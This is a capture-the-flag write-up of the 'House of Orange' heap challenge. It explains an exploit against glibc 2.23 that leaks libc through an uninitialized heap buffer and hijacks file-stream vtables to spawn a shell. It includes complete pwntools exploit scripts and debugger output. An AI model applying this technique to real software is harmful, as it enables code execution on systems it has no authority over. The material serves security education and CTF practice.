My teammate, Orange, need a house. Can you build it ?
nc 52.68.192.99 56746
Step 1: Leaking LIBC
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ file houseoforange
houseoforange: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /glibc/x64/2.23/lib/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ strings libc.so.6 | grep “release version 2.”
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
64-bit, stripped, LIBC version 2.23. Let’s see what it does:
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ ./houseoforange
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 1
Length of name :…
Name :…
Price of Orange:…
+++++++++++++++++++++++++++++++++++++
1. Red
2. Green
3. Yellow
4. Blue
5. Purple
6. Cyan
7. White
+++++++++++++++++++++++++++++++++++++
Color of Orange:1
Finish
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 2
Name of house : asddf
Price of orange : 999
__
\/.——,
//_.’
.-“”-/””————..
/ . . . . . . . \
/ . . . . . . . . \
|. .____ . ____. . |
\ . . . . . . . . .|
\. . . . . . . . ./
\ . . .___. .. ./
‘-.__.__.__._-‘
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : 3
Length of name :…
Name :…
Price of Orange:…
+++++++++++++++++++++++++++++++++++++
1. Red
2. Green
3. Yellow
4. Blue
5. Purple
6. Cyan
7. White
+++++++++++++++++++++++++++++++++++++
Color of Orange:4
Finish
…
(-_-)
In brief, for each house we Build, the program does the following things in sequence:
- A
malloc(0x10), for a “house descriptor”, containing a name buffer pointer, as well as a metadata pointer; - A variable sized (no longer than
0x1000)malloc()for the name buffer; - A
calloc(0x10)for the metadata.
There are two vulnerabilities in the program, both are pretty straightforward:
First, it malloc()s name buffers without ever initializing them. Additionally, it uses read() to get input from us, which means our input may not be NULL-terminated… 😉 This gives us a chance to leak some pointers by Seeing a house.
Second, when we Upgrade a house, the program simply read()s a new name into the old buffer without doing any boundary check, which gives us a heap out-of-bounds write.
Okay, first things first. There’s no Delete option in the program – how do we leak from an unsorted chunk, when the program does not even free()?
The idea is simple: We free() by malloc(). 🙂 Sounds philosophical, but how?
When there’s not enough space in the top chunk for an incoming request, malloc() calls sysmalloc(). See the very end of _int_malloc() at malloc/malloc.c:3823:
/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}
}
If such a request is no less than mp_.mmap_threshold (which by default is 128K), sysmalloc() issues mmap() to get more memory from the OS:
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
Otherwise, it calls MORECORE, which internally issues brk(). More interestingly, in this case, sysmalloc() calls _int_free() on the old top chunk, which is exactly how we are going to get an unsorted chunk.
To summarize: We do a heap overflow, change the size of the top chunk to a small value, then do a huge (less than 128K though) malloc() so that it calls sysmalloc(), which issues brk() and puts the top chunk into unsorted bin. Then, we simply pick it off, write a little bit to it and print it out, as we always do.
Note however, sysmalloc() performs several checks on the top chunk size:
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
- No less than
MINSIZE; - Has
prev_inusebit set; - Is page aligned;
- Less than the request size plus
MINSIZE.
Let’s try it out:
from pwn import *
def build(length, name, price, color):
p.sendlineafter("Your choice :", "1")
p.sendlineafter("Length of name :", str(length))
p.sendafter("Name :", name)
p.sendlineafter("Price of Orange:", str(price))
p.sendlineafter("Color of Orange:", str(color))
def leak():
p.sendlineafter("Your choice :", "2")
p.recvuntil(cyclic(0x8))
return u64(p.recv(6).ljust(8, "\x00")) - 0x3c3b78
def upgrade(length, name, price, color):
p.sendlineafter("Your choice :", "3")
p.sendlineafter("Length of name :", str(length))
p.sendafter("Name:", name)
p.sendlineafter("Price of Orange: ", str(price))
p.sendlineafter("Color of Orange:", str(color))
def pwn(p):
build(0x18, cyclic(0x18), 8848, 0xddaa)
# overwrite `size` of top chunk
upgrade(0x40, cyclic(0x38) + p64(0xfa1), 8848, 0xddaa) # fake `size`: 0xfa1
# let sysmalloc() free the old top chunk into unsorted bin
build(0x1000, cyclic(0x1000), 8848, 0xddaa)
# ...so that we can leak from it
build(0x8, cyclic(0x8), 8848, 0xddaa)
libc = leak()
success("libc base: " + hex(libc))
p.close()
if __name__ == "__main__":
p = process("./houseoforange")
pwn(p)
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ python leak.py
[+] libc base: 0x7fccc52c3000
Nice. Time to get a shell!
Step 2: Hijacking malloc_printerr()
In short, we hijack the “abort routine” of malloc(). When malloc() detected something wrong, it calls malloc_printerr(). Let’s walk through an example:
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
malloc_printerr() calls __libc_message():
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
Defined in sysdeps/posix/libc_fatal.c:66, __libc_message() calls abort():
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);
/* Kill the application. */
abort ();
}
}
…which internally calls fflush(). See stdlib/abort.c:49:
/* Flush all streams. We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);
}
Here, fflush() is actually defined as _IO_flush_all_lockp():
#include <libio/libioP.h> #define fflush(s) _IO_flush_all_lockp (0)
Finally, defined in libio/genops.c:758, _IO_flush_all_lockp() is a very interesting function. Let’s take a closer look at it:
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
_IO_list_all is a singly linked list maintained by LIBC. Each entry in the list is a _IO_FILE_plus struct, which serves as a file stream descriptor. Entries are linked together using the _chain field.
Starting from _IO_list_all, _IO_flush_all_lockp() goes through the linked list and performs some checks (line 779~785) on each entry. If an entry passed all the checks, _IO_OVERFLOW (by default) calls _IO_new_file_overflow() using a function pointer (__overflow) in its vtable at offset 0x10.
Our challenge program does no I/O other than stdin, stdout and stderr. Let’s take a look:
gef➤ p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7f8658578540 <_IO_2_1_stderr_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stderr_)->_chain
$2 = (struct _IO_FILE *) 0x7f8658578620 <_IO_2_1_stdout_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stdout_)->_chain
$3 = (struct _IO_FILE *) 0x7f86585778e0 <_IO_2_1_stdin_>
gef➤ p ((struct _IO_FILE *)&_IO_2_1_stdin_)->_chain
$4 = (struct _IO_FILE *) 0x0
Very interesting. As mentioned, the default __overflow function is _IO_new_file_overflow():
gef➤ p _IO_2_1_stderr_.vtable.__overflow
$5 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>
gef➤ p _IO_2_1_stdout_.vtable.__overflow
$6 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>
gef➤ p _IO_2_1_stdin_.vtable.__overflow
$7 = (_IO_overflow_t) 0x7f865824d880 <_IO_new_file_overflow>
The idea is: If we get full control over one of the _IO_list_all entries, we can fool _IO_flush_all_lockp() into doing whatever we want. Let’s do this step by step.
First, let’s try to point _IO_list_all to somewhere else. We do an Upgrade to overwrite the current unsorted chunk with our own fake chunk, then do a Build to carry out an unsorted bin attack. The fake chunk we are going to build is so important to our exploit, so I’ve decided to give it a special name. Let’s call it orange. Why not? 🙂
Upon receiving the 0x10-byte request, malloc() searches through the unsorted bin, and picks off orange from the bin:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
A quick calculation tells me that unsorted_chunks(av) equals to <main_arena+88>. So, if we set orange.bk to the address of _IO_list_all minus 0x10, malloc will point _IO_list_all to <main_arena+88>, on line 3517. Let’s see this in memory.
We also need a valid size to pacify malloc()…I’ll use 0x1000 as a placeholder for now.
Before the attack:
gef➤ p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7fd17b6f3540 <_IO_2_1_stderr_>
After the attack:
gef➤ p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7fd17b6f2b78 <main_arena+88>
We’ve hijacked _IO_list_all. Nice! main_arena+88 now becomes the fake _IO_2_1_stderr_.
Unfortunately, we don’t have full control over main_arena, so even if we’ve hijacked _IO_list_all, we can’t yet make _IO_flush_all_lockp() do any useful things for us:
gef➤ p _IO_list_all
$2 = (struct _IO_FILE_plus *) 0x7fd17b6f2b78 <main_arena+88>
gef➤ p *_IO_list_all
$3 = {
file = {
_flags = 0x473e9010,
_IO_read_ptr = 0x556c473c7100 “”,
_IO_read_end = 0x556c473c7100 “”,
_IO_read_base = 0x7fd17b6f3510 “”,
_IO_write_base = 0x7fd17b6f2b88 <main_arena+104> “”,
_IO_write_ptr = 0x7fd17b6f2b88 <main_arena+104> “”,
_IO_write_end = 0x7fd17b6f2b98 <main_arena+120> “\210+o{\321\177”,
_IO_buf_base = 0x7fd17b6f2b98 <main_arena+120> “\210+o{\321\177”,
_IO_buf_end = 0x7fd17b6f2ba8 <main_arena+136> “\230+o{\321\177”,
_IO_save_base = 0x7fd17b6f2ba8 <main_arena+136> “\230+o{\321\177”,
_IO_backup_base = 0x7fd17b6f2bb8 <main_arena+152> “\250+o{\321\177”,
_IO_save_end = 0x7fd17b6f2bb8 <main_arena+152> “\250+o{\321\177”,
_markers = 0x7fd17b6f2bc8 <main_arena+168>,
_chain = 0x7fd17b6f2bc8 <main_arena+168>,
_fileno = 0x7b6f2bd8,
_flags2 = 0x7fd1,
_old_offset = 0x7fd17b6f2bd8,
_cur_column = 0x2be8,
_vtable_offset = 0x6f,
_shortbuf = “{“,
_lock = 0x7fd17b6f2be8 <main_arena+200>,
_offset = 0x7fd17b6f2bf8,
_codecvt = 0x7fd17b6f2bf8 <main_arena+216>,
_wide_data = 0x7fd17b6f2c08 <main_arena+232>,
_freeres_list = 0x7fd17b6f2c08 <main_arena+232>,
_freeres_buf = 0x7fd17b6f2c18 <main_arena+248>,
__pad5 = 0x7fd17b6f2c18,
_mode = 0x7b6f2c28,
_unused2 = “\321\177\000\000(,o{\321\177\000\000\070,o{\321\177\000”
},
vtable = 0x7fd17b6f2c38 <main_arena+280>
}
See? Currently the fake _IO_2_1_stderr_ simply contains a whole bunch of main_arena pointers, which makes no sense from _IO_flush_all_lockp()’s perspective… 🙁
Especially the _chain field. _IO_flush_all_lockp() will use it to find the next entry on the linked list, namely _IO_2_1_stdout_.
We can’t fake an entire _IO_2_1_stderr_, but if we can fake its _chain and point it at somewhere fully under our control, we can fake _IO_2_1_stdout_ instead. How is it even possible, though?
gef➤ p &((struct _IO_FILE *)_IO_list_all)->_chain
$4 = (struct _IO_FILE **) 0x7fd17b6f2be0 <main_arena+192>
It turns out that <main_arena+192> equals to the address of main_arena.bins[11]. In other words, if we control main_arena.bins[11], we conrtrol _chain.
What on earth is main_arena.bins[11]?
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
bins[2*N - 2] and bins[2*N - 1] correspond to the HEAD and TAIL pointers in the N’th bin. In this case, bins[11] contains the TAIL pointer of the 0x60 small bin.
Here’s the trickiest part: Remember I set orange.bk to 0x1000 as a placeholder? Instead, if we set it to 0x60, after malloc() picks it off (and finds out it’s not a good fit for the request), malloc() will put orange into the 0x60 small bin, and write the address of orange to arena.bins[11], see line 3591:
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
In this way, we point _IO_2_1_stderr_._chain to orange. We are now able to fake an entire _IO_2_1_stdout_, since we fully control orange! I don’t know how @angelboy came up with this technique, but I must say this is insanely smart.
Now we’ve got everything we need to get a shell. I discussed File-Stream Oriented Programming (FSOP) in detail in my previous write-up.
To summarize, we build orange carefully, so that:
In _IO_flush_all_lockp(), we pass all the checks then trigger _IO_OVERFLOW():
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
Then we make _IO_OVERFLOW call _IO_str_finish(), instead of the default _IO_new_file_overflow(), by setting orange.vtable to _IO_str_jumps - 0x8;
Finally, we abuse the following highlighted line in _IO_str_finish() to do a system("/bin/sh"):
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
Let’s take a look at our final version of orange:
: b"\x90" * 0x30 :
start! +----------------------+
0x00 | 0xfbad8080 | _flags
+----------------------+
0x08 | 0x60 | ((malloc_chunk) orange).size
+----------------------+
......
+----------------------+
0x18 | &_IO_list_all - 0x10 | ((malloc_chunk) orange).bk
+----------------------+
......
+----------------------+
0x28 | 0xdeadbeef | _IO_write_ptr
+----------------------+
......
+----------------------+
0x38 | &"/bin/sh" | _IO_buf_base
+----------------------+
......
+----------------------+
0xd8 | &_IO_str_jumps - 0x8 | vtable
+----------------------+
......
+----------------------+
0xe8 | &system | ((_IO_strfile) orange)._s._free_buffer
+----------------------+
Finally, here’s my exploit script. I used a python2 module called pwn_debug by @raycp.
from pwn_debug import *
context.arch = "amd64" # used by IO_FILE_plus module
def build(length, name, price, color):
p.sendlineafter("Your choice :", "1")
p.sendlineafter("Length of name :", str(length))
p.sendafter("Name :", name)
p.sendlineafter("Price of Orange:", str(price))
p.sendlineafter("Color of Orange:", str(color))
def leak():
p.sendlineafter("Your choice :", "2")
p.recvuntil(cyclic(0x8))
return u64(p.recv(6).ljust(8, "\x00")) - 0x3c3b78
def upgrade(length, name, price, color):
p.sendlineafter("Your choice :", "3")
p.sendlineafter("Length of name :", str(length))
p.sendafter("Name:", name)
p.sendlineafter("Price of Orange: ", str(price))
p.sendlineafter("Color of Orange:", str(color))
def pwn(p):
build(0x18, cyclic(0x18), 8848, 0xddaa)
# overwrite `size` of top chunk
upgrade(0x40, cyclic(0x38) + p64(0xfa1), 8848, 0xddaa) # fake `size`: 0xfa1
# let sysmalloc() free the old top chunk into unsorted bin
build(0x1000, cyclic(0x1000), 8848, 0xddaa)
# ...so that we can leak from it
build(0x8, cyclic(0x8), 8848, 0xddaa)
libc = leak()
success("libc base: " + hex(libc))
_IO_list_all = libc + 0x3c4520
_IO_str_jumps = libc + 0x3c27a0
str_bin_sh = libc + 0x18c58b
system = libc + 0x45380
orange = IO_FILE_plus()
# 0x08: ((malloc_chunk) orange).size
orange._IO_read_ptr = 0x60
# 0x18: ((malloc_chunk) orange).bk
orange._IO_read_base = _IO_list_all - 0x10
# hijack _IO_OVERFLOW():
orange.vtable = _IO_str_jumps - 0x8
# abuse _IO_str_finish():
orange._IO_buf_base = str_bin_sh
# other restrictions for things to work...
orange._flags = 0xfbad8080
orange._IO_write_ptr = 0xdeadbeef
assert(orange._flags & 0x8000 != 0)
assert((orange._IO_buf_base) and (orange._flags & 0x1 == 0))
assert((orange._mode <= 0) and (orange._IO_write_ptr > orange._IO_write_base))
# pack up
payload = cyclic(0x30)
payload += str(orange)
payload += cyclic(8)
# 0xe8: ((_IO_strfile) orange)._s._free_buffer
payload += p64(system)
upgrade(len(payload), payload, 8848, 0xddaa)
# PWN!
p.sendline("1")
p.interactive()
if __name__ == "__main__":
p = process("./houseoforange")
pwn(p)
One very last thing: The above exploit has a success rate of 1/2. The fake _IO_2_1_stderr_._mode contains the lower 4 bytes of main_arena.bins[22]:
gef➤ p &((struct _IO_FILE *) _IO_list_all)->_mode
$1 = (int *) 0x7f3df2181c38 <main_arena+280>
gef➤ p &main_arena.bins[22]
$2 = (mchunkptr *) 0x7f3df2181c38 <main_arena+280>
gef➤ p ((struct _IO_FILE *) _IO_list_all)->_mode
$3 = 0xf2181c28
Under ASLR, this value can be either positive or negative. When it is negative, _IO_flush_all_lockp() calls _IO_OVERFLOW on an invalid vtable, causing a segmentation fault.
Anyway, let’s see:
peilin@PWN:~/hitcon-quals-2020/house_of_orange$ python exp.py
[+] Starting local process ‘./houseoforange’: pid 4471
[+] libc base: 0x7f23823c7000
[*] Switching to interactive mode
Finish
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : *** Error in `./houseoforange’: malloc(): memory corruption: 0x00007f238278b520 ***
$ cat flag.txt
hitcon{Y0ur_4r3_the_g0d_of_h34p_4nd_Or4ng3_is_s0_4ngry}
Nice!
References: